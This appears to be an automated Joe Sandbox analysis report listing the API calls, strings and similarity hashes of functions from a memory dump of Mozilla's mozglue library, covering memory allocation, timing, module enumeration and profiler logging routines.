Part of subcall function 6BCC5B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6BCC56EE,?,00000001), ref: 6BCC5B85
Part of subcall function 6BCC5B50: EnterCriticalSection.KERNEL32(6BD2F688,?,?,?,6BCC56EE,?,00000001), ref: 6BCC5B90
Part of subcall function 6BCC5B50: LeaveCriticalSection.KERNEL32(6BD2F688,?,?,?,6BCC56EE,?,00000001), ref: 6BCC5BD8
Part of subcall function 6BCC5B50: GetTickCount64.KERNEL32 ref: 6BCC5BE4

GetCurrentThreadId.KERNEL32 ref: 6BCB5EAB
GetCurrentThreadId.KERNEL32 ref: 6BCB5EB8
strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6BCB5ECF
memcpy.VCRUNTIME140(00000000,GeckoMain,00000000), ref: 6BCB6017

Part of subcall function 6BCA4310: moz_xmalloc.MOZGLUE(00000010,?,6BCA42D2), ref: 6BCA436A
Part of subcall function 6BCA4310: memcpy.VCRUNTIME140(00000023,?,?,?,?,6BCA42D2), ref: 6BCA4387

moz_xmalloc.MOZGLUE(00000004), ref: 6BCB5F47
GetCurrentProcess.KERNEL32 ref: 6BCB5F53
GetCurrentThread.KERNEL32 ref: 6BCB5F5C
GetCurrentProcess.KERNEL32 ref: 6BCB5F66
DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6BCB5F7E
moz_xmalloc.MOZGLUE(00000024), ref: 6BCB5F27

Part of subcall function 6BCBCA10: mozalloc_abort.MOZGLUE(?), ref: 6BCBCAA2

moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6BCB55E1), ref: 6BCB5E8C

Part of subcall function 6BCBCA10: malloc.MOZGLUE(?), ref: 6BCBCA26

moz_xmalloc.MOZGLUE(00000050,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6BCB55E1), ref: 6BCB605D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6BCB55E1), ref: 6BCB60CC

Strings

GeckoMain, xrefs: 6BCB5ECE, 6BCB6015

Memory Dump Source

Source File: 00000002.00000002.2498333306.000000006BCA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000002.00000002.2498306672.000000006BCA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498506760.000000006BD1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498614620.000000006BD2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498654989.000000006BD32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bca0000_MSBuild.jbxd

Similarity

API ID: Currentmoz_xmalloc$Thread$CriticalProcessSectionmemcpy$Count64CounterDuplicateEnterHandleLeaveNow@PerformanceQueryStamp@mozilla@@TickTimeV12@_freemallocmozalloc_abortstrlen
String ID: GeckoMain
API String ID: 3711609982-966795396
Opcode ID: 7c63821d6d1584eb01f44acd914082d10b3356866f09e7d0f68f6e9e9ef78ccb
Instruction ID: 62f205f1049a452a6010037bbec3f6cac72ecda2649b0b5c2415dc9e3e7e1e84
Opcode Fuzzy Hash: 7c63821d6d1584eb01f44acd914082d10b3356866f09e7d0f68f6e9e9ef78ccb
Instruction Fuzzy Hash: B071C2B09157809FDB00CF25D481A1AFBF0FF59304F44496EE6868B742E775EA44CB52

Function 6BCB9590 Relevance: 24.7, APIs: 10, Strings: 4, Instructions: 192libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6BCA31C0: LoadLibraryW.KERNEL32(KernelBase.dll), ref: 6BCA3217
Part of subcall function 6BCA31C0: GetProcAddress.KERNEL32(00000000,QueryInterruptTime), ref: 6BCA3236
Part of subcall function 6BCA31C0: FreeLibrary.KERNEL32 ref: 6BCA324B
Part of subcall function 6BCA31C0: __Init_thread_footer.LIBCMT ref: 6BCA3260
Part of subcall function 6BCA31C0: ?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(?), ref: 6BCA327F
Part of subcall function 6BCA31C0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6BCA328E
Part of subcall function 6BCA31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6BCA32AB
Part of subcall function 6BCA31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6BCA32D1
Part of subcall function 6BCA31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6BCA32E5
Part of subcall function 6BCA31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6BCA32F7

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6BCB9675
__Init_thread_footer.LIBCMT ref: 6BCB9697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6BCB96E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6BCB9707
__Init_thread_footer.LIBCMT ref: 6BCB971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6BCB9773
GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6BCB97B7
FreeLibrary.KERNEL32 ref: 6BCB97D0
FreeLibrary.KERNEL32 ref: 6BCB97EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6BCB9824

Strings

MapViewOfFileNuma2, xrefs: 6BCB97B1
Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6BCB9670
ntdll.dll, xrefs: 6BCB96E3
NtMapViewOfSection, xrefs: 6BCB9701

Memory Dump Source

Source File: 00000002.00000002.2498333306.000000006BCA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000002.00000002.2498306672.000000006BCA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498506760.000000006BD1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498614620.000000006BD2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498654989.000000006BD32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bca0000_MSBuild.jbxd

Similarity

API ID: LibraryTime$StampV01@@Value@mozilla@@$AddressFreeInit_thread_footerLoadProc$ErrorLastStamp@mozilla@@$Creation@Now@ProcessV12@V12@_
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 3361784254-3880535382
Opcode ID: 8a734d8bd7ed6c22fc951b64eba8fc1df010216267c64302b1df0353e0c6158e
Instruction ID: 72a3decc2ac4402866fe7c75456e1cdc655e2547d65e387d017a82eadf392d97
Opcode Fuzzy Hash: 8a734d8bd7ed6c22fc951b64eba8fc1df010216267c64302b1df0353e0c6158e
Instruction Fuzzy Hash: 0E61E7719102859FEF00DF74D984B5EBBB4FB8A724F00452AEF159B281E778D944CBA1

Function 6BCA3AB0 Relevance: 24.2, APIs: 13, Strings: 3, Instructions: 240COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6BD2E768,?,00003000,00000004), ref: 6BCA3AC5
LeaveCriticalSection.KERNEL32(6BD2E768,?,00003000,00000004), ref: 6BCA3AE5
VirtualFree.KERNEL32(?,00000000,00008000,?,00003000,00000004), ref: 6BCA3AFB
VirtualFree.KERNEL32(?,00100000,00004000), ref: 6BCA3B57
EnterCriticalSection.KERNEL32(6BD2E784), ref: 6BCA3B81
LeaveCriticalSection.KERNEL32(6BD2E784), ref: 6BCA3BA3
EnterCriticalSection.KERNEL32(6BD2E7B8), ref: 6BCA3BAE
LeaveCriticalSection.KERNEL32(6BD2E7B8), ref: 6BCA3C74
EnterCriticalSection.KERNEL32(6BD2E784), ref: 6BCA3C8B
LeaveCriticalSection.KERNEL32(6BD2E784), ref: 6BCA3C9F
LeaveCriticalSection.KERNEL32(6BD2E7B8), ref: 6BCA3D5C
EnterCriticalSection.KERNEL32(6BD2E784), ref: 6BCA3D67
LeaveCriticalSection.KERNEL32(6BD2E784), ref: 6BCA3D8A

Part of subcall function 6BCE0D60: VirtualFree.KERNEL32(?,00000000,00008000,00003000,00003000,?,6BCA3DEF), ref: 6BCE0D71
Part of subcall function 6BCE0D60: VirtualAlloc.KERNEL32(?,08000000,00003000,00000004,?,6BCA3DEF), ref: 6BCE0D84

Strings

: (malloc) Error in VirtualFree(), xrefs: 6BCA3DCC
MOZ_CRASH(), xrefs: 6BCA3DB2
<jemalloc>, xrefs: 6BCA3DC7

Memory Dump Source

Source File: 00000002.00000002.2498333306.000000006BCA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000002.00000002.2498306672.000000006BCA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498506760.000000006BD1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498614620.000000006BD2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498654989.000000006BD32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bca0000_MSBuild.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$Virtual$Free$Alloc
String ID: : (malloc) Error in VirtualFree()$<jemalloc>$MOZ_CRASH()
API String ID: 2380290044-2272602182
Opcode ID: ccc98b6295cb45ae9323015da1701a962d7b2e87351fffb31cd464d91c99f78d
Instruction ID: cd7b469a3c5c9746393db2c3a7fccf4098febbf24fad750ffc2624ae4affe4db
Opcode Fuzzy Hash: ccc98b6295cb45ae9323015da1701a962d7b2e87351fffb31cd464d91c99f78d
Instruction Fuzzy Hash: F191B271F212468BDB14CF78C8E176AB7B2BBC6724B104269E6119F3C1E779DA00CB91

Function 6BCB7FD0 Relevance: 24.2, APIs: 16, Instructions: 166COMMON

Download Yara Rule

APIs

K32EnumProcessModules.KERNEL32(000000FF,00000000,00000000,?), ref: 6BCB8007
moz_xmalloc.MOZGLUE(?,000000FF,00000000,00000000,?), ref: 6BCB801D

Part of subcall function 6BCBCA10: malloc.MOZGLUE(?), ref: 6BCBCA26

memset.VCRUNTIME140(00000000,00000000,?,?), ref: 6BCB802B
K32EnumProcessModules.KERNEL32(000000FF,00000000,?,?,?,?,?,?), ref: 6BCB803D
moz_xmalloc.MOZGLUE(00000104,000000FF,00000000,?,?,?,?,?,?), ref: 6BCB808D

Part of subcall function 6BCBCA10: mozalloc_abort.MOZGLUE(?), ref: 6BCBCAA2

memset.VCRUNTIME140(00000000,00000000,00000104,?,?,?,?,?), ref: 6BCB809B
GetModuleFileNameW.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 6BCB80B9
moz_xmalloc.MOZGLUE(?,?,?,?,?,?,?,?,?,?), ref: 6BCB80DF
memset.VCRUNTIME140(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 6BCB80ED
wcscpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6BCB80FB
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6BCB810D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?), ref: 6BCB8133
free.MOZGLUE(00000000,000000FF,00000000,?,?,?,?,?,?), ref: 6BCB8149
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?), ref: 6BCB8167
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?), ref: 6BCB817C
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6BCB8199

Memory Dump Source

Source File: 00000002.00000002.2498333306.000000006BCA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000002.00000002.2498306672.000000006BCA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498506760.000000006BD1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498614620.000000006BD2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498654989.000000006BD32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bca0000_MSBuild.jbxd

Similarity

API ID: free$memsetmoz_xmalloc$EnumModulesProcess$ErrorFileLastModuleNamemallocmozalloc_abortwcscpy_s
String ID:
API String ID: 2721933968-0
Opcode ID: 855231ba9eca62b769766a4dc940d66ad381c3f9f6d1877dfc1dd3272173784c
Instruction ID: 6800e5448eae7838fc22b57983efc81f9c8d7564ea9023d48488a8d9b5a6a097
Opcode Fuzzy Hash: 855231ba9eca62b769766a4dc940d66ad381c3f9f6d1877dfc1dd3272173784c
Instruction Fuzzy Hash: F451B4B1D111159BDF00CBB9DC81AAFB7B9AF59264F180125E915EB341F738DA00CBA1

Function 6BCB11B0 Relevance: 22.9, APIs: 8, Strings: 5, Instructions: 186COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,Interface\{618736E0-3C3D-11CF-810C-00AA00389B71}\ProxyStubClsid32,00000084), ref: 6BCB1213
toupper.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6BCB1285
memcpy.VCRUNTIME140(?,TypeLib\{1EA4DBF0-3C3B-11CF-810C-00AA00389B71}\1.1\0\win32,00000076), ref: 6BCB12B9
memcpy.VCRUNTIME140(?,CLSID\{03022430-ABC4-11D0-BDE2-00AA001A1953}\InProcServer32,00000078,?), ref: 6BCB1327

Strings

CLSID\{03022430-ABC4-11D0-BDE2-00AA001A1953}\InProcServer32, xrefs: 6BCB131B
&, xrefs: 6BCB126B
Interface\{618736E0-3C3D-11CF-810C-00AA00389B71}\ProxyStubClsid32, xrefs: 6BCB120D
TypeLib\{1EA4DBF0-3C3B-11CF-810C-00AA00389B71}\1.1\0\win32, xrefs: 6BCB12AD
MZx, xrefs: 6BCB11E1

Memory Dump Source

Source File: 00000002.00000002.2498333306.000000006BCA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000002.00000002.2498306672.000000006BCA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498506760.000000006BD1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498614620.000000006BD2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498654989.000000006BD32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bca0000_MSBuild.jbxd

Similarity

API ID: memcpy$toupper
String ID: &$CLSID\{03022430-ABC4-11D0-BDE2-00AA001A1953}\InProcServer32$Interface\{618736E0-3C3D-11CF-810C-00AA00389B71}\ProxyStubClsid32$MZx$TypeLib\{1EA4DBF0-3C3B-11CF-810C-00AA00389B71}\1.1\0\win32
API String ID: 403083179-3658087426
Opcode ID: a82390c1a972030083cb46d7a8abb8ac3a193c66fa629a049a84ef3212c1af9c
Instruction ID: 7a4fb32ec7c15954ca622cc92082c8308d5fcedf028661c3233864de49745a49
Opcode Fuzzy Hash: a82390c1a972030083cb46d7a8abb8ac3a193c66fa629a049a84ef3212c1af9c
Instruction Fuzzy Hash: 95719F71E257648BDB148F78C8017DEB7F5BF45309F0406AAD545A7240FB786B88CBA2

Function 6BCA31C0 Relevance: 22.9, APIs: 11, Strings: 2, Instructions: 183timelibraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(KernelBase.dll), ref: 6BCA3217
GetProcAddress.KERNEL32(00000000,QueryInterruptTime), ref: 6BCA3236
FreeLibrary.KERNEL32 ref: 6BCA324B
__Init_thread_footer.LIBCMT ref: 6BCA3260
?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(?), ref: 6BCA327F
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6BCA328E
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6BCA32AB
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6BCA32D1
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6BCA32E5
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6BCA32F7

Part of subcall function 6BCDAB89: EnterCriticalSection.KERNEL32(6BD2E370,?,?,?,6BCA34DE,6BD2F6CC,?,?,?,?,?,?,?,6BCA3284), ref: 6BCDAB94
Part of subcall function 6BCDAB89: LeaveCriticalSection.KERNEL32(6BD2E370,?,6BCA34DE,6BD2F6CC,?,?,?,?,?,?,?,6BCA3284,?,?,6BCC56F6), ref: 6BCDABD1

__aulldiv.LIBCMT ref: 6BCA346B

Strings

KernelBase.dll, xrefs: 6BCA3212
QueryInterruptTime, xrefs: 6BCA3230

Memory Dump Source

Source File: 00000002.00000002.2498333306.000000006BCA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000002.00000002.2498306672.000000006BCA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498506760.000000006BD1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498614620.000000006BD2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498654989.000000006BD32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bca0000_MSBuild.jbxd

Similarity

API ID: Time$StampV01@@Value@mozilla@@$CriticalLibrarySectionStamp@mozilla@@$AddressCreation@EnterFreeInit_thread_footerLeaveLoadNow@ProcProcessV12@V12@___aulldiv
String ID: KernelBase.dll$QueryInterruptTime
API String ID: 3006643210-2417823192
Opcode ID: d07be0bb9eea7accb9f356bda05246728ca5ecae9b3197454c0d6b1cb5c5993e
Instruction ID: fcd58e4e9428d69444e9a08d5ed7cf73cc4784579f6095c2a3cbdc4b5c79a0f7
Opcode Fuzzy Hash: d07be0bb9eea7accb9f356bda05246728ca5ecae9b3197454c0d6b1cb5c5993e
Instruction Fuzzy Hash: 9D6101719187418BD721CF38C46261AF7E4FFC6350F218B1EEAA6A7291EB34D645CB42

Function 6BD06660 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 162threadCOMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(6BD2F618), ref: 6BD06694
GetThreadId.KERNEL32(?), ref: 6BD066B1
GetCurrentThreadId.KERNEL32 ref: 6BD066B9
memset.VCRUNTIME140(?,00000000,00000100), ref: 6BD066E1
EnterCriticalSection.KERNEL32(6BD2F618), ref: 6BD06734
GetCurrentProcess.KERNEL32 ref: 6BD0673A
LeaveCriticalSection.KERNEL32(6BD2F618), ref: 6BD0676C
GetCurrentThread.KERNEL32 ref: 6BD067FC
memset.VCRUNTIME140(?,00000000,000002C8), ref: 6BD06868
RtlCaptureContext.NTDLL ref: 6BD0687F

Strings

WalkStack64, xrefs: 6BD06890

Memory Dump Source

Source File: 00000002.00000002.2498333306.000000006BCA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000002.00000002.2498306672.000000006BCA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498506760.000000006BD1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498614620.000000006BD2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498654989.000000006BD32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bca0000_MSBuild.jbxd

Similarity

API ID: CriticalCurrentSectionThread$memset$CaptureContextEnterInitializeLeaveProcess
String ID: WalkStack64
API String ID: 2357170935-3499369396
Opcode ID: 35f28599428eecf707aa605c61143f3a58f2270f6b126d4a07d4e3c823aec74e
Instruction ID: 8f8427a9f0d1d05557f4818e1439a72b96ef44f128e319c704dc4e7e03c8e064
Opcode Fuzzy Hash: 35f28599428eecf707aa605c61143f3a58f2270f6b126d4a07d4e3c823aec74e
Instruction Fuzzy Hash: 61513E71909341AFE715CF24C944B5EBBE4FF89724F00492EF6999B240DBB4E5448B92

Function 6BCEDE60 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 135threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6BCE9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6BCB4A68), ref: 6BCE945E
Part of subcall function 6BCE9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6BCE9470
Part of subcall function 6BCE9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6BCE9482
Part of subcall function 6BCE9420: __Init_thread_footer.LIBCMT ref: 6BCE949F

GetCurrentThreadId.KERNEL32 ref: 6BCEDE73
GetCurrentThreadId.KERNEL32 ref: 6BCEDF7D
AcquireSRWLockExclusive.KERNEL32(6BD2F4B8), ref: 6BCEDF8A
ReleaseSRWLockExclusive.KERNEL32(6BD2F4B8), ref: 6BCEDFC9
GetCurrentThreadId.KERNEL32 ref: 6BCEDFF7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6BCEE000
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6BCB4A68), ref: 6BCEDE7B

Part of subcall function 6BCE94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6BCE94EE
Part of subcall function 6BCE94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6BCE9508

Part of subcall function 6BCDCBE8: GetCurrentProcess.KERNEL32(?,6BCA31A7), ref: 6BCDCBF1
Part of subcall function 6BCDCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6BCA31A7), ref: 6BCDCBFA

?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6BCB4A68), ref: 6BCEDEB8
free.MOZGLUE(00000000,?,6BCB4A68), ref: 6BCEDEFE
?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6BCEDF38

Strings

<none>, xrefs: 6BCEDFD7
[I %d/%d] profiler_set_process_name("%s", "%s"), xrefs: 6BCEE00E
[I %d/%d] locked_profiler_stop, xrefs: 6BCEDE83

Memory Dump Source

Source File: 00000002.00000002.2498333306.000000006BCA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000002.00000002.2498306672.000000006BCA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498506760.000000006BD1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498614620.000000006BD2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498654989.000000006BD32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bca0000_MSBuild.jbxd

Similarity

API ID: CurrentThread$getenv$ExclusiveLockProcessRelease_getpid$AcquireBufferEnterExit@mozilla@@Init_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@ProfilerRegisterTerminate__acrt_iob_func__stdio_common_vfprintffree
String ID: <none>$[I %d/%d] locked_profiler_stop$[I %d/%d] profiler_set_process_name("%s", "%s")
API String ID: 1281939033-809102171
Opcode ID: 1fdecf3743123f1a8b9d9c5a49589abdd64faedd9f470f53fbec88ceca1425d3
Instruction ID: 78d864f8c9d354a9f22a890b608eb7a6af59f19de08377af1575dc30af3a9b49
Opcode Fuzzy Hash: 1fdecf3743123f1a8b9d9c5a49589abdd64faedd9f470f53fbec88ceca1425d3
Instruction Fuzzy Hash: EA41F475A11651DBEF109F74D848B6AB765EB85318F00041AEB058F341EBBADA07CBF2

Function 6BCFD840 Relevance: 21.2, APIs: 14, Instructions: 206threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6BCFD85F
AcquireSRWLockExclusive.KERNEL32(?), ref: 6BCFD86C
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6BCFD918
GetCurrentThreadId.KERNEL32 ref: 6BCFD93C
AcquireSRWLockExclusive.KERNEL32(?), ref: 6BCFD948
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6BCFD970
GetCurrentThreadId.KERNEL32 ref: 6BCFD976
AcquireSRWLockExclusive.KERNEL32(?), ref: 6BCFD982
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6BCFD9CF
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6BCFDA2E
GetCurrentThreadId.KERNEL32 ref: 6BCFDA6F
AcquireSRWLockExclusive.KERNEL32(?), ref: 6BCFDA78
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE ref: 6BCFDA91

Part of subcall function 6BCC5C50: GetTickCount64.KERNEL32 ref: 6BCC5D40
Part of subcall function 6BCC5C50: EnterCriticalSection.KERNEL32(6BD2F688), ref: 6BCC5D67

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6BCFDAB7

Memory Dump Source

Source File: 00000002.00000002.2498333306.000000006BCA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000002.00000002.2498306672.000000006BCA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498506760.000000006BD1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498614620.000000006BD2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498654989.000000006BD32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bca0000_MSBuild.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$Count64CriticalEnterSectionStampTickTimeV01@@Value@mozilla@@Xbad_function_call@std@@
String ID:
API String ID: 1195625958-0
Opcode ID: 6b24f9d948e55507e5999579a46b1c8ed7be6ba6bc15f1398ce8ec7201363e95
Instruction ID: c74ae191ff670b5ead60d03791c427e85a4768a696b2c6954a8e2190778b749a
Opcode Fuzzy Hash: 6b24f9d948e55507e5999579a46b1c8ed7be6ba6bc15f1398ce8ec7201363e95
Instruction Fuzzy Hash: BF71AE356143049FDB00DF28C484B5ABBB5FF89310F1485AEED5A9B341EB74EA45CB91

Function 6BCC5670 Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 272timeCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_APP_RESTART), ref: 6BCC56D1
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6BCC56E9
?ComputeProcessUptime@TimeStamp@mozilla@@CA_KXZ.MOZGLUE ref: 6BCC56F1
?TicksFromMilliseconds@BaseTimeDurationPlatformUtils@mozilla@@SA_JN@Z.MOZGLUE ref: 6BCC5744
??0TimeStampValue@mozilla@@AAE@_K0_N@Z.MOZGLUE(?,?,?,?,?), ref: 6BCC57BC
GetTickCount64.KERNEL32 ref: 6BCC58CB
EnterCriticalSection.KERNEL32(6BD2F688), ref: 6BCC58F3
__aulldiv.LIBCMT ref: 6BCC5945
LeaveCriticalSection.KERNEL32(6BD2F688), ref: 6BCC59B2
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(6BD2F638,?,?,?,?), ref: 6BCC59E9

Strings

MOZ_APP_RESTART, xrefs: 6BCC56CC

Memory Dump Source

Source File: 00000002.00000002.2498333306.000000006BCA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000002.00000002.2498306672.000000006BCA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498506760.000000006BD1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498614620.000000006BD2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498654989.000000006BD32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bca0000_MSBuild.jbxd

Similarity

API ID: Time$CriticalSectionStampStamp@mozilla@@Value@mozilla@@$BaseComputeCount64DurationEnterFromLeaveMilliseconds@Now@PlatformProcessTickTicksUptime@Utils@mozilla@@V01@@V12@___aulldivgetenv
String ID: MOZ_APP_RESTART
API String ID: 2752551254-2657566371
Opcode ID: f10a5b6b828fb259924093021772c4f323efff07cbbcbd4737a6fa569a0068d5
Instruction ID: 1de4438500c0671d040c15282c2d0a28a9b53db87ead46a4d23fffadaf1d0cc5
Opcode Fuzzy Hash: f10a5b6b828fb259924093021772c4f323efff07cbbcbd4737a6fa569a0068d5
Instruction Fuzzy Hash: EBC16B319187809FD705CF28C54166AFBF1FF9A714F058A5EEAC49B260E734E985CB82

